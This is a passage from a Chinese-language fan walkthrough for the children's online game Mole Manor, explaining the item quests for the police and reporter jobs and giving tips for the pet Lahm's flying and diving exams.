3,沙之微粒( 泳池沙堆 )( 在东部游乐场的泳池沙堆上,点小铲子~~我挖了无数次~~手都酸了~~) 4,化学加热剂(农场发明屋)( 在开心农场的二楼,分别用红,绿,深蓝,紫色药剂调配 ) OK~~快去找艾尔吧 ( 在爱心教堂的警察局哦~~ ),成为警察并拥有警察三件套~~

记者要求:达到五级( 同上 )

四样东西攻略:

1,相机机身( 中国象棋 )( 在摩尔拉雅滑冰场旁边的猎人小屋 )

2,胶卷( R2机器人 ) ( 在农场发明屋 )

3,荧光粉( 树洞萤火虫 )( 玩捉萤火虫小游戏 )

4,手工课证书( 领取手工证书 )( 戴上你学过手工的拉姆去拉姆课堂领取手工证书吧~~) 搞定后去摩尔出版社找艾米吧( 摩尔出版社在爱心教堂旁的大屋子二楼),不过还

没行的哦~~ 接下来,带上你学过手工的拉姆找艾米拼装照相机,拼装好的照相机会出现在沙发上的 再点一下SMC标志,发现有记者有新任务了,很简单,先点一下兔兔桌子上的打印机,发表一篇文章。然后点沙发上的照相机拍摄一张照片。最后阅读记者手册( 在桌子上 )。OK拉。

6.拉姆篇许多小摩尔都很向往海底与天空吧~就要先让拉姆参加学习(带着拉姆去拉姆学院,进学院教导处,报名后较难一定费用即可)~然后考试才行。今天我就来讲讲如何通过飞行、潜水考试。

飞行考试相对来说比较简单,前两个是拼装,应该很简单吧,这个我就不细说了。 后面是小拉姆耐力的考试(我称之为“鼠标破坏王”)只要点小拉姆,它就会往上飞,垂直到桌面上时让小拉姆把东西放下(具体是点下桌子还是让它自由下降,我忘了~)一共有三个东西要你放在桌上,所以要保持体力呀(在左上角有显示)!我放最后一个“士兵”得时候耐力要不够了,就放到了桌子边上~好险~还是放上去了!因为要一直不停的点,所以手的力量要够!再附赠一个温馨小贴士:每次失败,都要从拼装开始再来一遍,所以要有耐心~ 我只用两遍就过去了~^_^

再说说相对较难的潜水考试,一共有4关唉~

前两关是拼图,我也不细说了。

第三关最麻烦,小拉姆的闭气能力,不能碰上墙壁和黄色管子,只要到足球那里就行了,十分麻烦~跟上个温馨小贴士一样,要注意(我为了第三关拼了不下三十遍拼图)按方向键要慢慢按,要不然会撞上的。不过也要注意时间,跑跑很快就会缩小,破掉的~再附赠一个节时小贴士:你的手先按着方向键下(因为第一部要往下走),然后另一只手点击开始,这样会节约几秒钟的宝贵时间,不过要马上撒手,因为沉的太快会撞上。 最后一关相对第三关要好过的多,许多小摩尔误会了意思,说是要装下拉姆,其实要把凯文老师都整个装起来~ 不要在大了,要不然泡泡会破掉的~

现在越来越多的新任务和新游戏了.有些刚来的朋友们都看不懂.所以小猪侠帮大家收集了许多基本问题和最新任务战略

以下有关拉姆的.

虽然个人觉得饿了就给他.渴了给他喝,脏了再给他洗就行了,可是有些朋友问我吃什么增加多少点.哎呀.小猪侠以前都没怎么注意.真的难住了,所以小猪侠找了许多朋友.问了许多的问题了.把有关拉姆的全部资料都找过来。希望对小摩尔们有用

初中作文